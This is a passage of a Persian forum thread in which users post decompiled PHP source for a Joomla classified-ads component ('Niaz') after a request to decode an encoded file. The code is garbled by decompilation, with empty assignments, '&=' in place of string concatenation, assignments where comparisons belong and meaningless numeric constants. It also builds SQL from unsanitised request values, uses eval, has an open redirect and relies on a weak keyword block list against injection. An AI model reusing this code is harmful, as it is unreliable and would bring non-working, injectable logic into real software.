    				$html &= '<div class="banner" id="XFile_' . $v . '">
    						<a href="' . JRoute::_( 'index.php?option=' . $option . '&view=film&id=' . $fldID . '&X=' . $k . '&no_html=1' . (strlen( $secid ) ? '&secid=' . $secid : '') ) . ( '" rel="{handler: \'iframe\', size: {x : 620, y: 420}}" class="modal" alt="' . $PName . '" title="' . $PName . '">
    						<img border="0" src="' . $XPic . '" id="YFilm_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
    						</a>' );
    
    
    				if ($E) {
    					$html &= '<br />
    <label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldFilm][]" class="input" value="' . $v . '" onclick="ReloadFilm(\'XFile_' . $v . '\',this.checked);" /><label>
    ' );
    				}
    
    
    				$html &= '</div>';
    			}
    
    
    			echo $html;
    			echo '		</div>
    		';
    			return count( $A );
    		}
    
    
    		function LoadKeys($id) {
    			global $option;
    
    
    			$db = JFactory::getdbo(  );
    			$query = 'SELECT fldKID FROM #__niaz_key_index WHERE fldPID=' . $id;
    			$db->setQuery( $query );
    			$KeyArray = $db->loadResultArray(  );
    			$query = 'SELECT fldKey FROM #__niaz_key WHERE fldID IN(' . implode( ',', $KeyArray ) . ') AND published = 1';
    			$db->setQuery( $query );
    			$Keys = $db->loadResultArray(  );
    
    
    			if (( is_array( $Keys ) && count( $Keys ) )) {
    				foreach ($Keys as $k => $v) {
    					$Keys[$k] = '<a class="niaz_key" href="' . JRoute::_( 'index.php?option=' . $option . '&key=' . $v ) . '">' . $v . '</a> ';
    				}
    
    
    				return implode( ',', $Keys );
    			}
    
    
    		}
    
    
    		function AjaxStat() {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $option;
    			global $mainframe;
    			global $app;
    			global $niaz_config;
    			global $mainframe;
    			global $mosconfig_live_site;
    
    
    			$t = (int)JRequest::getvar( 't', 0 );
    			$id = (int)JRequest::getvar( 'id', 0 );
    			$fldStat = (int)JRequest::getvar( 'fldStat', 0 );
    
    
    			if (( $t  = 0 || $id  = 0 )) {
    				return null;
    			}
    
    
    			$db = JFactory::getdbo(  );
    			switch ($t) {
    				case 1: {
    					$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
    					$db->setQuery( $query );
    					$total = $db->loadResult(  );
    					echo '			<h3>';
    					echo JText::_( 'STAT_DESC' );
    					echo '</h3>
    			<form method="post" name="EForm">
    				';
    					$O = array(  );
    					$i = 475;
    
    
    					while ($i < 6) {
    						$O[] = JHTML::_( 'select.option', $i, JText::_( 'NIAZ_STAT' . $i ) );
    						++$i;
    					}
    
    
    					echo JHTML::_( 'select.genericlist', $O, 'fldStat', 'class="input"', 'value', 'text', $total );
    					echo '				<input type="submit" value="';
    					echo JText::_( 'ACCEPT' );
    					echo '" class="button" />
    				<input type="hidden" value="2" name="t" />
    			</form>
    			';
    					break;
    				}
    
    
    				case 2: {
    					$query = 'UPDATE #__niaz_prod SET fldStat=' . $fldStat . ' WHERE fldID=' . $id;
    					$db->setQuery( $query );
    					$db->Query(  );
    					echo JText::_( 'NIAZ_STAT' ) . ':' . JText::_( 'NIAZ_STAT' . $fldStat );
    					break;
    				}
    
    
    				case 3: {
    					$query = 'SELECT fldStat FROM #__niaz_prod WHERE fldID=' . $id;
    					$db->setQuery( $query );
    					$total = $db->loadResult(  );
    					echo ($total ? JText::_( 'NIAZ_STAT' . $total ) : JText::_( 'پیش فرض سیستم' ));
    				}
    			}
    
    
    		}
    
    
    		function IsUniqueName($T = '', $I = 0) {
    			global $option;
    
    
    			$db = JFactory::getdbo(  );
    			$fldPName = trim( JRequest::getvar( 'q', $T ) );
    			$fldPName = self::myquestfarsi( $fldPName );
    			$fldID = JRequest::getvar( 'v', $I );
    			$query = 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' . $fldPName . '\' AND fldID <> ' . $fldID;
    			$db->setQuery( $query );
    			$total = intval( $db->loadResult(  ) );
    
    
    			if (strlen( $T )) {
    				return $total;
    			}
    
    
    			echo $total;
    		}
    
    
    		function AjaxDelete() {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $option;
    			global $mainframe;
    			global $app;
    			global $niaz_config;
    			global $mainframe;
    			global $mosconfig_live_site;
    
    
    			$db = JFactory::getdbo(  );
    			$X = JRequest::getvar( 'TID', null, 'POST' );
    			$id = (int)JRequest::getvar( 'id', 0, 'POST' );
    
    
    			if (is_null( $X )) {
    				echo 0;
    				exit(  );
    			}
    
    
    
    
    			if (( !intval( $niaz_config->fldField28 ) || !$id )) {
    				echo 0;
    				exit(  );
    			}
    
    
    			$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND fldOwner = ' . $my->id;
    			$db->setQuery( $query );
    			$row = $db->loadObject(  );
    
    
    			if (count( $row )) {
    				self::reverseusecredit( $row, $db );
    				NiazController::deletefolder( 'prod' . DS . $row->fldDate, $row->fldID );
    				SendingMail( 5, $row );
    				$query = 'DELETE FROM #__niaz_key_index WHERE fldPID = ' . $row->fldID;
    				$db->setQuery( $query );
    				$db->Query(  );
    				$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id . ' AND fldOwner = ' . $my->id;
    				$db->setQuery( $query );
    
    
    				if ($db->Query(  )) {
    					NiazController::deletefolder( 'prod', $id );
    				}
    			}
    
    
    			$query = 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' . $id;
    			$db->setQuery( $query );
    			$total = $db->loadResult(  );
    			echo ($total ? 0 : 1);
    			exit(  );
    		}
    
    
    		function Captcha() {
    			global $option;
    
    
    			$d1 = rand( 1, 9 );
    			$d = array( '*', '+', '-' );
    			$d3 = $d2 = $d[rand( 0, 2 )];
    
    
    			if (( $d2  = '-' && $d1 < $d3 )) {
    				$x = $d1;
    				$d1 = $d3;
    				$d3 = $x;
    			}
    
    
    			eval( '$d = ' . $d1 . $d2 . $d3 . ';' );
    			$RandomStr = md5( rand( 1111, 9999 ) );
    			strtoupper( substr( $RandomStr, 0, 5 ) );
    			$ResultStr = rand( 1, 9 );
    			$ResultStr = '' . $d1 . $d2 . $d3 . '=?';
    			$NewImage = imagecreatefromjpeg( JPATH_COMPONENT . DS . 'images' . DS . 'back.jpg' );
    			$LineColor = imagecolorallocate( $NewImage, 233, 239, 239 );
    			$TextColor = imagecolorallocate( $NewImage, 0, 0, 0 );
    			imageline( $NewImage, 1, 1, 40, 40, $LineColor );
    			imageline( $NewImage, 1, 100, 60, 0, $LineColor );
    			imagestring( $NewImage, 10, 10, 4, $ResultStr, $TextColor );
    			$_SESSION['captcha'] = $d;
    			header( 'Content-type: image/jpeg' );
    			imagejpeg( $NewImage );
    			exit(  );
    		}
    
    
    		function link() {
    			global $option;
    			global $my;
    			global $mainframe;
    			global $app;
    			global $niaz_config;
    			global $mainframe;
    
    
    			$db = JFactory::getdbo(  );
    			$id = JRequest::getvar( 'lid', 0 );
    			$query = 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1';
    			$db->setQuery( $query );
    			$fldLink = $db->loadResult(  );
    
    
    			if (strlen( $fldLink )) {
    				$query = 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1 ';
    				$db->setQuery( $query );
    				$db->query(  );
    				header( 'Location: http://' . str_replace( 'http://', '', $fldLink ), 0 );
    				return null;
    			}
    
    
    			$this->setRedirect( $_SERVER['HTTP_REFERER'] );
    		}
    
    
    		function showup() {
    			global $option;
    			global $niaz_config;
    			global $my;
    
    
    			$db = JFactory::getdbo(  );
    			$x = JRequest::getvar( 'x' );
    			$id = JRequest::getvar( 'id' );
    			$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=0';
    			$db->setQuery( $query );
    			$row = $db->loadObject(  );
    
    
    			if (!count( $row )) {
    				return null;
    			}
    
    
    			md5( $id . $row->fldDate . 'P' );
    			$X = ;
    			md5( $id . $row->fldDate . 'D' );
    			$Y = ;
    			JHTML::_( 'date', 'now', 'Y/m/d' );
    			$Date = ;
    			$query = 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
    			$db->setQuery( $query );
    			$fldTafavot = $db->loadResult(  );
    			$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . '  AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
    			$db->setQuery( $query );
    			$db->Query(  );
    
    
    			if ($x  = $X) {
    				if (intval( $fldTafavot )) {
    					$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' . $fldTafavot . '  WHERE fldUID=' . $row->fldOwner;
    					$db->setQuery( $query );
    					$db->Query(  );
    				}
    
    
    				$A = 'published=1,fldStartTime=NOW(),fldAdmin=' . $my->id;
    
    
    				if (( ( $row->fldPayMethod && $row->fldPay  = 2 ) && $row->fldMoney )) {
    					$A = 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' . $my->id;
    				}
    
    
    				$query = 'UPDATE #__niaz_prod SET ' . $A . ' WHERE fldID=' . $id;
    				$db->setQuery( $query );
    
    
    				if ($db->Query(  )) {
    					if (( $row->fldPay != 1 && 0 < $row->fldMoney )) {
    						$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\'';
    						$db->setQuery( $query );
    						$fldFactor = intval( $db->loadResult(  ) );
    
    
    						if (!$fldFactor) {
    							$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
    							$db->setQuery( $query );
    							$fldFactor = intval( $db->loadResult(  ) );
    						}
    
    
    						++$fldFactor;
    						JText::_( 'ACCEPT_MODIR' );
    						$fldDesc = ;
    						$fldDescX = $fldDesc;
    						$fldCredit = 736;
    
    
    						if (intval( $fldTafavot )) {
    							$fldDescX = $fldDesc . '(' . JText::sprintf( 'KASR_ETEBAR', Comma( $fldTafavot ) . ' ' . $niaz_config->fldCurrency ) . ')';
    							$row += 'fldMoney';
    							 = $fldTafavot;
    							$fldCredit = $fldTafavot;
    						}
    
    
    						$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'' . $row->fldPayMethod . '\',\'' . $row->fldOrderNumber . '\',' . $row->fldMoney . ',' . $fldCredit . ',' . $row->fldOwner . ',\'' . $fldDescX . '\',\'' . $row->fldPayDate . '\',' . $fldFactor . ')';
    						$db->setQuery( $query );
    						$db->Query(  );
    					}
    
    
    					echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>';
    					SendingMail( 3, array( 'fldID' => $row->fldID, 'fldEMAil' => $row->fldEMAil, 'fldStartTime' => $Date, 'fldPName' => $row->fldPName ) );
    					return null;
    				}
    			} 
    else {
    				if ($x  = $Y) {
    					$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ',fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner;
    					$db->setQuery( $query );
    					$db->Query(  );
    					$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
    					$db->setQuery( $query );
    					$fldFactor = intval( $db->loadResult(  ) ) & 1;
    					JText::_( 'REVERSE_CREDIT_2' );
    					$fldDesc = ;
    					$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $id . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
    					$db->setQuery( $query );
    					$db->Query(  );
    					$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id;
    					$db->setQuery( $query );
    
    
    					if ($db->Query(  )) {
    						echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>';
    						NiazController::deletefolder( 'prod', $id );
    						SendingMail( 5, $row );
    					}
    				}
    			}
    
    
    		}
    
    
    		function DeleteFolder($table, $id) {
    			global $option;
    
    
    			jimport( 'joomla.filesystem.file' );
    			jimport( 'joomla.filesystem.folder' );
    			$destfolder = JPATH_ROOT . DS . 'components' . DS . ( '' . $option ) . DS . 'files' . DS . $table . DS . $id;
    
    
    			if (is_dir( $destfolder )) {
    				JFolder::delete( $destfolder );
    			}
    
    
    		}
    
    
    		function ShowEdit() {
    			global $option;
    			global $niaz_config;
    
    
    			if (!strlen( $niaz_config->fldField59 )) {
    				return '';
    			}
    
    
    			$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
    			echo '		<table width="100%" id="adminlist" class="adminlist" border="1">
    		<thead>
    			<tr>
    				<th>#</th>
    				<th>';
    			echo JText::_( 'NIAZ_EDIT_COUNT' );
    			echo '</th>
    				<th>';
    			echo JText::_( 'NIAZ_ADMIN_FEE' );
    			echo '(';
    			echo $niaz_config->fldCurrency;
    			echo ')</th>
    			</tr>
    		</thead>
    		<tbody>
    		';
    			$it = 360;
    			$x = 360;
    
    
    			while ($x < count( $U )) {
    				$D = explode( ':', $U[$x] );
    				echo '		<tr class="';
    				echo 'row' . ++$it & 2;
    				echo '">
    				<td>';
    				echo $it;
    				echo '</td>
    				<td>';
    				echo $D[0];
    				echo '</td>
    				<td>';
    				echo ($D[1] ? $D[1] : '<font class="red"><strong> ' . JText::_( 'NIAZ_FREE' ) . ' </strong></font>');
    				echo '</td>
    		</tr>
    		';
    				++$x;
    			}
    
    
    			echo '		</tbody>
    		</table>
    		';
    		}
    
    
    		function MyQuestFarsi($str) {
    			$str = str_replace( 'ي', 'ی', $str );
    			$str = str_replace( 'ك', 'ک', $str );
    			$str = str_replace( 'هٔ', 'ه‌ی', $str );
    			$str = str_replace( '\\', '', $str );
    			return $str;
    		}
    
    
    		function CleanSQL($where) {
    			$forbidden = array( 'UNION', 'SELECT', 'DELETE', 'ALTER', 'JOIN', 'DROP', 'TRUNCATE', 'UPDATE', 'CREATE' );
    			foreach ($forbidden as $v) {
    				$A = strpos( strtoupper( $where ), $v );
    
    
    				if ($A) {
    					$B = substr( $where, $A, strlen( $v ) );
    					$where = str_replace( $B, 'XXXXX', $where );
    					continue;
    				}
    			}
    
    
    			return $where;
    		}
    
    
    		function UpdateUseCredit($rows, $paymethod, $order_number, $db) {
    			global $my;
    
    
    			$query = 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' . $my->id;
    			$db->setQuery( $query );
    			$rowx = $db->loadObject(  );
    
    
    			if (!count( $rowx )) {
    				return null;
    			}
    
    
    			$fldCredit = $rowx->fldCredit;
    			foreach ($rows as $row) {
    				$fldTafavot = $fldCredit;
    
    
    				if ($row->fldMoney < $fldCredit) {
    					$fldTafavot = $row->fldMoney;
    				}
    
    
    				$query = 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
    				$db->setQuery( $query );
    				$IsHere = $db->loadResult(  );
    
    
    				if (!$IsHere) {
    					$query = 'UPDATE #__niaz_credit_users' . ( '
     SET fldTafavot = fldTafavot+' . $fldTafavot . ',fldCredit=fldCredit-' . $fldTafavot ) . ( '
     WHERE fldUID = ' . $my->id );
    					$db->setQuery( $query );
    					$db->query(  );
    
    
    					if ($fldTafavot) {
    						$query = 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldID . ',' . $row->fldOwner . ')';
    						$db->setQuery( $query );
    						$db->Query(  );
    					}
    
    
    					$query = 'UPDATE #__niaz_prod' . ( '
     SET fldOrderNumber = \'' . $order_number . '\' , fldPayMethod = \'' . $paymethod . '\',fldTafavot = ' . $fldTafavot ) . ( '
     WHERE fldID = ' . $row->fldID . ' AND fldPay!=1 ' );
    					$db->setQuery( $query );
    					$db->query(  );
    				}
    
    
    				$fldCredit += $row->fldMoney;
    
    
    				if ($fldCredit < 0) {
    					$fldCredit = 432;
    					continue;
    				}
    			}
    
    
    		}
    
    
    		function ReverseUseCredit($row, $db) {
    			global $option;
    			global $niaz_config;
    
    
    			$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $row->fldOwner . ' AND fldPID = ' . $row->fldID;
    			$db->setQuery( $query );
    			$db->Query(  );
    
    
    			if (( ( is_null( $row->fldStartTime ) && $row->fldMoney ) && $row->fldPay  = 1 )) {
    				$PName = $row->fldPName;
    				$total = $row->fldMoney;
    				$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
    				$db->setQuery( $query );
    				$fldFactor = intval( $db->loadResult(  ) ) & 1;
    				$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
    				$db->setQuery( $query );
    
    
    				if (!$db->Query(  )) {
    					$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
    					$db->setQuery( $query );
    					$db->Query(  );
    				}
    
    
    				$credit = 519;
    
    
    				if ($row->fldPayMethod  = 'etebar') {
    					$credit = $total;
    				}
    
    
    				$fldDesc = JText::sprintf( 'REVERSE_CREDIT_3', $PName ) . '#::#' . JText::sprintf( 'REVERSE_CREDIT_4', Comma( $row->fldMoney ), $niaz_config->fldCurrency );
    				$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $PName . '\',\'return\',\'\',-' . $total . ',' . $credit . ',' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
    				$db->setQuery( $query );
    				$db->Query(  );
    			} 
    else {
    				if (( is_null( $row->fldStartTime ) && $row->fldTafavot )) {
    					$PName = $row->fldPName;
    					$total = $row->fldTafavot;
    					$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
    					$db->setQuery( $query );
    
    
    					if (!$db->Query(  )) {
    						$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
    						$db->setQuery( $query );
    						$db->Query(  );
    					}
    				}
    			}
    
    
    			$query = 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' . $row->fldID;
    			$db->setQuery( $query );
    			$db->Query(  );
    		}
    
    
    		function LoadUserStyle($type, $file) {
    			global $option;
    
    
    			$no_html = JRequest::getvar( 'no_html', 0 );
    
    
    			if ($no_html) {
    				return null;
    			}
    
    
    			$tmpl = JRequest::getvar( 'tmpl', '' );
    
    
    			if ($tmpl  = 'component') {
    				$no_html = 395;
    			}
    
    
    			switch ($no_html) {
    				case 0: {
    					$document = JFactory::getdocument(  );
    					switch ($type) {
    						case 'js': {
    							$js = JURI::base(  ) . ( 'components/' . $option . '/js/' . $file );
    							$document->addScript( $js );
    							break;
    						}
    
    
    						case 'css': {
    							$css = JURI::base(  ) . ( 'components/' . $option . '/css/' . $file );
    							$document->addStyleSheet( $css );
    						}
    					}
    
    
    					break;
    				}
    
    
    				case 1: {
    					switch ($type) {
    						case 'js': {
    							$js = JURI::base(  ) . ( 'components/' . $option . '/js/' . $file );
    							echo '<script src="' . $js . '" type="text/javascript"></script>';
    							break;
    						}
    
    
    						case 'css': {
    							$css = JURI::base(  ) . ( 'components/' . $option . '/css/' . $file );
    							echo '<link rel="stylesheet" href="' . $css . '" type="text/css" />';
    						}
    					}
    				}
    			}
    
    
    		}
    
    
    		function SaveCookie($content = '') {
    			global $option;
    			global $mainframe;
    
    
    			$content &= '
    ';
    
    
    			if (is_dir( JPATH_SITE . DS . 'mytemp' )) {
    				$f = fopen( JPATH_SITE . DS . 'mytemp' . DS . 'SQL_' . date( 'Y-m-d-H-i' ) . '.txt', 'a+' );
    				fwrite( $f, $content, strlen( $content ) );
    				fclose( $f );
    			}
    
    
    		}
    
    
    		function LoadCurrentCredit() {
    			echo LoadCredit(  );
    		}
    	}
    
    
    ?>

  5. تعداد تشکر ها از Yas-Host به دلیل پست مفید


  6. #4
    عضو جدید
    تاریخ عضویت
    Jun 2012
    نوشته ها
    55
    تشکر تشکر کرده 
    33
    تشکر تشکر شده 
    36
    تشکر شده در
    28 پست

    پیش فرض پاسخ : درخواست دي كد كردن

    سلام

    متاسفانه من php كار نكردم

    براي همين از دوستان كمك خواستم

    - - - Updated - - -

    سلام

    متاسفانه من php كار نكردم

    براي همين از دوستان كمك خواستم

  7. #5
    کاربر اخراج شده
    تاریخ عضویت
    Oct 2013
    نوشته ها
    124
    تشکر تشکر کرده 
    101
    تشکر تشکر شده 
    250
    تشکر شده در
    209 پست

    پیش فرض پاسخ : درخواست دي كد كردن

    کد PHP:
    <?php


        
    if (!( defined'_JEXEC' ))) {
            exit( 
    'Restricted access' );
            (bool)
    true;
        }


        
    jimport'joomla.application.component.controller' );
        class 
    NiazController extends JController {
            function 
    __construct() {
                
    parent::(  );
            }


            function 
    ReBackCredit() {
                global 
    $my;


                
    $PID JRequest::getvar'ix'0'POST' );
                
    $PID intvalbase64_decode$PID ) );
                
    $db JFactory::getdbo(  );
                
    $query 'SELECT * FROM #__niaz_usecredit WHERE fldUID=' $my->id ' AND fldPID = ' $PID;
                
    $db->setQuery$query );
                
    $row $db->loadObject(  );
                
    $total 472;


                if (
    count$row )) {
                    
    $query 'DELETE FROM #__niaz_usecredit WHERE fldUID=' $my->id ' AND fldPID = ' $PID;
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                    
    $query 'SELECT fldMoney FROM #__niaz_prod WHERE fldOwner=' $my->id ' AND fldID = ' $PID;
                    
    $db->setQuery$query );
                    
    $fldMoney $db->loadResult(  );
                    
    $query 'SELECT fldID FROM #__niaz_credit_users WHERE fldUID=' $my->id;
                    
    $query self::cleansql$query );
                    
    $db->setQuery$query );
                    
    $total = ($fldMoney $db->loadResult(  ) : 0);
                    
    $fldMoney Comma$fldMoney );
                }




                if (
    intval$total )) {
                    
    $query 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' $row->fldTafavot ',fldTafavot=fldTafavot-' $row->fldTafavot ' WHERE fldUID=' $my->id;
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                    
    $query 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' $my->id ' AND fldID = ' $PID;
                    
    $db->setQuery$query );
                    
    $db->Query(  );
                    echo 
    '0#' $fldMoney '#' JText::_'NIAZ_UPDATE_COMPLETED' );
                    return 
    null;
                }


                
    $query 'UPDATE #__niaz_prod SET fldTafavot=0 WHERE fldOwner=' $my->id ' AND fldID = ' $PID;
                
    $db->setQuery$query );
                
    $db->Query(  );
                echo 
    '0#' $fldMoney '#' JText::_'NIAZ_UPDATE_ERROR' );
            }


            function 
    WhereCluse($view) {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $Align;
                global 
    $RTL;
                global 
    $app;
                global 
    $niaz_config;
                global 
    $DLANG;
                global 
    $AU;


                
    $db JFactory::getdbo(  );
                
    $limit JRequest::getvar'limit'$app->getCfg'list_limit' ) );
                
    $limitstart JRequest::getvar'limitstart');
                
    $catid JRequest::getint'catid' );
                
    $subcatid JRequest::getint'subcatid' );
                
    $CountryNo = (int)JRequest::getvar'CountryNo');
                
    $StateNo = (int)JRequest::getvar'StateNo');
                
    $Type JRequest::getvar'Type');
                
    $key JRequest::getvar'key' );
                
    $id JRequest::getvar'id');
                
    $layout JRequest::getvar'layout'NULL );
                
    $fldUID JRequest::getvar'fldUID');
                
    $key urldecodeJRequest::getvar'key''' ) );
                
    $A = array(  );
                
    $where '';
                switch (
    $view) {
                    case 
    'myads': {
                        
    $A[] = 'fldOwner=' $my->id;
                        break;
                    }


                    default: {
                        if (!empty( 
    $key )) {
                            
    $query 'SELECT fldID FROM #__niaz_key WHERE fldKey=\'' $key '\' AND published = 1';
                            
    $db->setQuery$query );
                            
    $Keys $db->loadResultArray(  );


                            if (!
    count$Keys )) {
                                
    $Keys[] = 0;
                            }




                            if (!isset( 
    $_SESSION[$key] )) {
                                
    $query 'UPDATE #__niaz_key SET fldView=fldView+1 WHERE fldKey=\'' $key '\'';
                                
    $db->setQuery$query );
                                
    $db->Query(  );
                                
    $_SESSION[$key] = 1;
                            }


                            
    $query 'SELECT fldPID FROM #__niaz_key_index WHERE fldKID IN(' implode','$Keys ) . ') ';
                            
    $db->setQuery$query );
                            
    $KeyArray $db->loadResultArray(  );


                            if (
    count$KeyArray )) {
                                
    $A[] = 'fldID IN (' implode','$KeyArray ) . ')';
                            }
                        }


                        
    $A[] = 'published=1';
                    }
                }




                if (
    $catid) {
                    
    $A[] = 'parent_id=' $catid;
                }




                if (
    $subcatid) {
                    
    $A[] = 'fldRelation=' $subcatid;
                }


                
    $K implode' AND '$A );


                if (
    $K) {
                    
    $where ' WHERE (' $K ')';
                }


                
    $where self::cleansql$where );
                return 
    $where;
            }


            function 
    LoadSQL($table$where$fields '') {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $Align;
                global 
    $RTL;
                global 
    $app;
                global 
    $mainframe;
                global 
    $AU;
                global 
    $niaz_config;


                
    $db JFactory::getdbo(  );
                
    $limit JRequest::getint'limit'$niaz_config->fldNShow );
                
    $view JRequest::getvar'view''niaz' );
                
    $limitstart JRequest::getint'limitstart' );
                
    $ordering 'fldID DESC';
                
    $catid JRequest::getint'catid' );
                
    $subcatid JRequest::getint'subcatid' );
                
    $table2 $table;


                if (( 
    $view  'niaz' || $view  '' )) {
                    
    $query 'SELECT fldID FROM #__niaz_cat WHERE published=1 ' . ($catid ' AND fldID = ' $catid '');
                    
    $db->setQuery$query );
                    
    $CatArray $db->loadResultArray(  );
                    
    $CatArray[] = 0;
                    
    $query 'SELECT fldID FROM #__niaz_subcat WHERE published=1 AND fldRelation IN (' implode','$CatArray ) . ') ' . ($subcatid ' AND fldID = ' $subcatid '');
                    
    $db->setQuery$query );
                    
    $SubCatArray $db->loadResultArray(  );
                    
    $SubCatArray[] = 0;
                    
    $where &= (strlen$where ) ? ' AND fldRelation IN (' implode','$SubCatArray ) . ')' 'WHERE fldRelation IN (' implode','$SubCatArray ) . ')');
                }


                switch (
    $table) {
                    case 
    'prod': {
                        
    $ordering 'fldStartTime DESC';
                        
    $orderingX '';
                        switch (
    $view) {
                            case 
    'myads': {
                                
    $fields '*';
                                break;
                            }


                            case 
    'pay': {
                                
    $fields '`fldID`,`published`,`fldTafavot`,`fldPay`,`fldMoney`,`fldStartTime`,`fldPayMethod`,`fldOrderNumber`,`fldPName`,`fldImage`,`fldOwner`' . (strlen$fields ) ? $fields '');
                                break;
                            }


                            default: {
                                
    $fields '`fldID`,`parent_id`,`fldRelation`,`fldDate`,`fldShowLink`,`fldMoney`,`fldStar`,`fldVije`,`fldPage`,`fldPName`,`fldImage`,TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay > 0 AS ExpDate,(fldStar+fldPage+fldVije) AS OA';
                                
    $orderingX 'OA DESC,fldStar';
                                
    $ordering '';
                                
    $orderingX = (strlen$niaz_config->fldField55 ) ? str_replace( array( ':''*' ), array( ' '',' ), $niaz_config->fldField55 ) : $orderingX);
                            }
                        }


                        
    $ordering '' $orderingX ' ' $ordering;


                        if (
    $view  'myads') {
                            
    $ordering 'fldID DESC';
                        } 
    else {
                            
    $where &= (intval$niaz_config->fldField30 ) ? '' ' AND TIMESTAMPDIFF(DAY,fldStartTime,CURDATE())-fldDay < 0 ');
                        }


                        break;
                    }


                    case 
    'rss': {
                        
    $table2 'prod';
                    }
                }


                
    $query 'SELECT COUNT(*) FROM #__niaz_' $table ' ' $where;
                
    $db->setQuery$query );
                
    $total $db->loadResult(  );
                
    $limitx '
     LIMIT ' 
    $limitstart ', ' $limit;
                
    jimport'joomla.html.pagination' );
                
    $pageNav = new JPagination$total$limitstart$limit );
                
    $query 'SELECT ' $fields ' FROM #__niaz_' $table ' ' $where ' ' . ( '
     ORDER BY ' 
    $ordering ) . $limitx;
                
    $db->setQuery$query );
                
    $rows $db->loadObjectList(  );
                return array( 
    $rows$pageNav );
            }


            function 
    LoadMySQL($table$where) {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $Align;
                global 
    $RTL;
                global 
    $app;
                global 
    $mainframe;
                global 
    $AU;
                global 
    $niaz_config;


                
    $db JFactory::getdbo(  );
                
    $query 'SELECT * FROM #__niaz_' $table ' WHERE ' $where ' ';
                
    $db->setQuery$query );
                
    $rows $db->loadObjectList(  );
                return 
    $rows;
            }


            function 
    LoadMiniAds($rows) {
                global 
    $option;
                global 
    $my;
                global 
    $sectionState;
                global 
    $fldCountry;
                global 
    $niaz_config;


                
    $C = array(  );
                echo 
    '    <div width="100%"  class="border">
            '
    ;
                
    $j 480;
                
    $i 480;
                
    $n count$rows );


                while (
    $i $n) {
                    
    $row $rows[$i];


                    if (( ( ( 
    intval$niaz_config->fldField48 ) && intval$niaz_config->fldField30 ) ) && $row->ExpDate ) && ( ( ( ( $row->fldMoney || $row->fldShowLink ) || $row->fldStar ) || $row->fldVije ) || $row->fldPage ) )) {
                        
    $ExpDate[] = $row->fldID;
                    }


                    
    $_SESSION['CID'][] = $row->fldID;
                    
    $C[] = $row->fldID;
                    echo 
    '                <div class="banner">
